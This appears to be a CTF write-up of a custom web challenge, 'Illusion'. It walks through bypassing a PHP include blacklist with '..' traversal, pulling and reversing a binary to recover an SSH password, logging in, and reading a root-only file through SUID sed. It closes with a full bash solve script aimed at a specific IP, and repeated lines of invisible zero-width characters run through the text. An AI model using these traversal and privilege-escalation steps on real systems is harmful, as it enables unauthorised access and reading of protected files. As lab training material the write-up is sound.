← Back to Writeups
CUSTOMMediumWeb

Иллюзия (Illusion)

XESXOR9/2/20265 min read
#web#custom#medium#word_segment_blacklist_bypass#dotdot_traversal_only#relative_cwd_lfi#elf_string_extraction#base64_argv_check#suid_sed_root_read

Иллюзия (Illusion)

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: word_segment_blacklist_bypass, dotdot_traversal_only, relative_cwd_lfi, elf_string_extraction, base64_argv_check, suid_sed_root_read

Summary

Walkthrough of the CUSTOM Web Иллюзия (Illusion). Task: Apache+PHP site with ?page= LFI guarded by a per-segment word blacklist (etc/php/proc/root) and a fake 403 page that returns HTTP 200. Solution: bypass filter using .. (not blacklisted) to r

Description

Мы наняли хорошего верстальщика, который разработал сайт для нашей компании. Надеюсь, про безопасность он не забыл...

English summary: an Apache + PHP "Car's Collection" site is exposed on port 18200 along with SSH on port 18222. The site loads pages via ?page=... (classic LFI shape). A blacklist filter and a fake 403 page create the "illusion" of being safe. Goal: assemble the flag from /home/steve/first_part and /root/last_part.

Analysis

Recon

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

HTTP : http://62.173.140.174:18200/   Apache httpd + PHP, / → 302 → /index.php?page=main.php
SSH  : ssh://62.173.140.174:18222/    OpenSSH 8.9p1 Ubuntu (Docker container)

?page=.htaccess reveals:

apache
Options -Indexes
ErrorDocument 403 403.html
ErrorDocument 404 403.html

Note: paths are missing the leading /, so Apache cannot resolve them and just renders the literal text "403.html" — important detail explained below.

The "Illusion" — fake 403

Probing ?page=... with various payloads, three response shapes appear: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

OutcomeHTTP codeBody
File found and allowed200actual file contents
Filter blocks the request200329-byte 403.html stub
File not found302redirect back to main

The "blocked" response looks like a 403 but is served as HTTP 200. The server isn't actually denying the request — it's including the 403.html template as if everything is fine. That is the illusion: a status code that pretends nothing was attacked.

Filter reverse-engineering

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

By sending dozens of variants to ?page=, the filter behaves like:

foreach (segment in path.split('/')):
    word = str_replace('.', '', segment)
    if word in {"etc", "php", "proc", "root"} (case-sensitive):
        deny
if any char in {'-', ' ', '@', '*', '+', '#', ...}:
    deny

So:

PayloadResult
/etc/passwdblocked (etc segment)
./etc/blocked
e..tcblocked (dots stripped → etc)
p.h.pblocked
*.phpblocked (* is forbidden)
ETC, Phpallowed (case-sensitive blacklist)
aetcb, etc.x, a.etcallowed (substring is fine)
..allowed (after stripping dots → empty string, not in blacklist)
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Path constraints

  • Absolute paths like /var/www/html/main.php return HTTP 200 with 0 bytes — include() silently fails (looks like open_basedir or similar restriction).
  • Relative ./main.php works (21079 bytes).
  • CWD is /var/www/html/ (confirmed by ./../html/main.php).

So we need a relative traversal payload that never contains a blacklisted word in any path segment.

Solution

Step 1 — LFI bypass with ..

.. passes the blacklist (the dot-strip turns it into an empty string). We can climb out of webroot freely: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

bash
curl -s "http://62.173.140.174:18200/index.php?page=../../../etc/passwd"
# blocked → 403.html (etc segment)

curl -s "http://62.173.140.174:18200/index.php?page=../../../home/steve/hello" -o hello.bin
# 23912 bytes, ELF 64-bit

The username steve was found by ffuf against ?page=../../../home/FUZZ/hello (and by harvesting common Linux usernames). After three levels up (../../../ from /var/www/html/) we hit /home/.

Step 2 — Reverse the hello binary

bash
file hello.bin
# ELF 64-bit LSB pie executable, x86-64, dynamically linked, not stripped
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

strings hello.bin | grep -E '[A-Za-z0-9+/=]{8,}'
# c3RldmU=     ← base64("steve")

In radare2 the main function:

  1. Checks argc == 2.
  2. Compares argv[1] against the literal "c3RldmU=" (base64 of steve).
  3. On match, builds an output string by concatenating bytes from a stack buffer and a .data chunk, then prints it.

Running it locally:

bash
chmod +x hello.bin
./hello.bin c3RldmU=
# c3QzdjNsMHYzY2F0cw==

echo c3QzdjNsMHYzY2F0cw== | base64 -d
# st3v3l0v3cats

That looks exactly like an SSH password. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 3 — SSH as steve

bash
sshpass -p 'st3v3l0v3cats' ssh -p 18222 -o StrictHostKeyChecking=no steve@62.173.140.174

steve@box:~$ cat /home/steve/first_part
CODEBY{REDACTED

Half the flag obtained. The second half lives in /root/last_part (root-only).

Step 4 — Privilege escalation via SUID sed

bash
steve@box:~$ find / -perm -4000 -type f 2>/dev/null
/usr/bin/sed
...

/usr/bin/sed has the SUID bit and is owned by root. GTFOBins for sed — when SUID, sed can read arbitrary files as root: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

bash
steve@box:~$ /usr/bin/sed -n p /root/last_part
_b3_true}

Step 5 — Assemble the flag

CODEBY{REDACTED  +  _b3_true}
= CODEBY{REDACTED}

Full solve script

bash
#!/usr/bin/env bash
# illusion full solve
set -euo pipefail

HOST=62.173.140.174
HTTP_PORT=18200
SSH_PORT=18222
URL="http://${HOST}:${HTTP_PORT}/index.php"

# 1. Pull the hello binary via LFI (.. bypass)
curl -s "${URL}?page=../../../home/steve/hello" -o hello.bin
chmod +x hello.bin

# 2. Reverse: argv[1] must be base64('steve'); output is base64 of password
PASS=$(./hello.bin "$(printf steve | base64)" | base64 -d)
echo "[+] steve password: $PASS"
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# 3. SSH in, read first part, then SUID sed root-read of last part
sshpass -p "$PASS" ssh -p "$SSH_PORT" -o StrictHostKeyChecking=no steve@$HOST '
    FIRST=$(cat /home/steve/first_part);
    LAST=$(/usr/bin/sed -n p /root/last_part);
    echo "FLAG: ${FIRST}${LAST}"
'

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key Takeaways / Lessons

  • Mastering word_segment_blacklist_bypass, dotdot_traversal_only, relative_cwd_lfi, elf_string_extraction, base64_argv_check, suid_sed_root_read was key to this challenge.
  • Always check for common misconfigurations and verify assumptions.

Crafted by XESXOR Research • 2026-04-17 • CUSTOM • Иллюзия (Illusion) • Difficulty: Medium